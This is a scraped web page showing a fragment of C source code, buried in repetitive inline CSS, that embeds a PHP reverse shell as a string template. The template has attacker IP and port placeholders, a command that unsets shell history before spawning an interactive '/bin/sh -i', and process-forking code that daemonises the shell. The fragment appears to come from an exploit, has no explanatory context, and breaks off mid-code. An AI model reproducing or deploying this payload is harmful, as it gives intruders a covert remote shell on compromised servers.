<DIV class="line number98 index97 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">char phpstr[] = "&lt;?php\n" \</DIV>

<DIV class="line number99 index98 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"set_time_limit(0);\n" \</DIV>

<DIV class="line number100 index99 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$ip = '%s';\n" \</DIV>

<DIV class="line number101 index100 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$port = %d;\n" \</DIV>

<DIV class="line number102 index101 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$chunk_size = 1400;\n" \</DIV>

<DIV class="line number103 index102 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$write_a = null;\n" \</DIV>

<DIV class="line number104 index103 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$error_a = null;\n" \</DIV>

<DIV class="line number105 index104 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" \</DIV>

<DIV class="line number106 index105 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$daemon = 0;\n" \</DIV>

<DIV class="line number107 index106 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"$debug = 0;\n" \</DIV>

<DIV class="line number108 index107 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"if (function_exists('pcntl_fork')) {\n" \</DIV>

<DIV class="line number109 index108 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; $pid = pcntl_fork();&nbsp;&nbsp;&nbsp; \n" \</DIV>

<DIV class="line number110 index109 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; if ($pid == -1) {\n" \</DIV>

<DIV class="line number111 index110 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printit(\"ERROR: Can't fork\");\n" \</DIV>

<DIV class="line number112 index111 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1);\n" \</DIV>

<DIV class="line number113 index112 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; }\n" \</DIV>

<DIV class="line number114 index113 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; if ($pid) {\n" \</DIV>

<DIV class="line number115 index114 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(0);\n" \</DIV>

<DIV class="line number116 index115 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; }\n" \</DIV>

<DIV class="line number117 index116 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; if (posix_setsid() == -1) {\n" \</DIV>

<DIV class="line number118 index117 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printit(\"Error: Can't setsid()\");\n" \</DIV>

<DIV class="line number119 index118 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1);\n" \</DIV>

<DIV class="line number120 index119 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; }\n" \</DIV>

<DIV class="line number121 index120 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">"&nbsp;&nbsp; $daemon = 1;\n" \</DIV>

